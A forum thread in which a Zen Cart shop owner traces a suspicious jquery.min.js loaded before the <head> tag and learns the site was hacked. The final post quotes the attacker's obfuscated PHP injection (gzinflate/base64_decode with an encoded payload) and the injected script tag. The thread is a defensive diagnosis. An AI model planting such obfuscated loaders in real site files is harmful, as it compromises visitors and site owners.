Results 1 to 5 of 5

Hybrid View

  1. #1
    Join Date
    Dec 2009
    Posts
    9
    Plugin Contributions
    0

    Default Mysterious code before <head> tag

    Hey, the site in question is http://biggrowhydro.com

    Recently google flagged the file jquery.min.js as malicious. I attempted to locate where I was using such a file in my source code and found that it is before my <head> tag on all of my pages.

    I tried to use the developer tools to locate where the script is being called (which php file) and it was unable to locate any part of the script tag/link.

    By any chance does anyone know where zen cart would be pulling data from to place before the <head> tag?

    I have already checked a few places including tpl_main_page.php, tpl_header.php, meta_tags.php, and application_top.php

    None of the files I have checked have had any instance of the line.

    I would appreciate any help or ideas.

    Thanks in advance.

  2. #2
    Join Date
    Jul 2005
    Location
    Upstate NY
    Posts
    22,010
    Plugin Contributions
    25

    Default Re: Code before <head> tag

    <script type="text/javascript" language="javascript" src="http://biggrowhydro.com//stylesheets/jquery.min.js" ></script><!DOCTYPE html PUBLIC "-//W3C/
    Some mod you have installed or made was set up incorrectly. You should not have a call like this before the <head> but after it (and before the </head>), and the jquery file (which is not used by stock Zen Cart) should not be located in
    biggrowhydro.com//stylesheets/jquery.min.js
    but in
    biggrowhydro.com/includes/templates/your_template/jscript/jscript_jquery.min.js
    (note the filename jscript_jquery.min.js). This filename and location will cause the file to be loaded in the correct place automatically.
    Last edited by gjh42; 27 Mar 2012 at 02:45 AM.

  3. #3
    Join Date
    Jul 2005
    Location
    Upstate NY
    Posts
    22,010
    Plugin Contributions
    25

    Default Re: Code before <head> tag

    It is conceivable that the file was named jquery.min.js as a smokescreen for a malicious file; the jquery library would never be put in a stylesheet folder by anyone with honorable intentions who knew what they were doing.

  4. #4
    Join Date
    Sep 2005
    Location
    Waikato, New Zealand
    Posts
    1,539
    Plugin Contributions
    3

    Default Re: Code before <head> tag

    Did you install it yourself? what mod are you using that requires it?

    javascript files should be placed in

    includes/templates/bigGrow/jscript/

    and named with the prefix
    jscript_


    and have you looked in this file

    includes\templates\your_template\common\html_header.php

    and if that file doesn't exist

    includes\templates\template_default\common\html_header.php


    Quote Originally Posted by snaple View Post
    Hey, the site in question is http://biggrowhydro.com

    Recently google flagged the file jquery.min.js as malicious. I attempted to locate where I was using such a file in my source code and found that it is before my <head> tag on all of my pages.

    I tried to use the developer tools to locate where the script is being called (which php file) and it was unable to locate any part of the script tag/link.

    By any chance does anyone know where zen cart would be pulling data from to place before the <head> tag?

    I have already checked a few places including tpl_main_page.php, tpl_header.php, meta_tags.php, and application_top.php

    None of the files I have checked have had any instance of the line.

    I would appreciate any help or ideas.

    Thanks in advance.
    Webzings Design
    Semi retired from Web Design

  5. #5
    Join Date
    Dec 2009
    Posts
    9
    Plugin Contributions
    0

    Default Re: Mysterious code before <head> tag

    I solved the problem. Someone did indeed hack the site and modified some of the files. How they managed to gain write access is what I am looking into now.

    They used gzinflate and base64_decode to hide the script execution/call, like this:

    echo(gzinflate(base64_decode("TcxLDoAgDADRqxAOQPcGvQtiwycq2BaV22vixu2bZCx7SlWU9I qjFrwFsjvdp1qtbg/NhTf9lcmPOorUAWBOIVC5Yl+oGF82AJa+IkdEYchHQ+pmS7vJrNVk4XtMDw==")));

    This was added to many files including before the start of the real code in index.php in /html/ of my zen cart store.

    Thanks for the help!

 

 

Similar Threads

  1. v151 Head's tags goes into body tag.
    By zadok.daniel in forum General Questions
    Replies: 3
    Last Post: 7 Jan 2014, 02:42 AM
  2. Need help, Mysterious Code Chunk
    By visionx in forum All Other Contributions/Addons
    Replies: 0
    Last Post: 7 Oct 2010, 05:50 PM
  3. Need to add code below </head> tag and above <body> tag in product page
    By Danielle in forum Templates, Stylesheets, Page Layout
    Replies: 2
    Last Post: 11 Apr 2010, 07:53 PM
  4. <head tag on specific catagory page
    By cleverpork in forum General Questions
    Replies: 0
    Last Post: 12 Jun 2007, 06:29 PM
  5. Adding a head tag script
    By gardengate in forum Templates, Stylesheets, Page Layout
    Replies: 6
    Last Post: 13 Oct 2006, 01:46 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
disjunctive-egg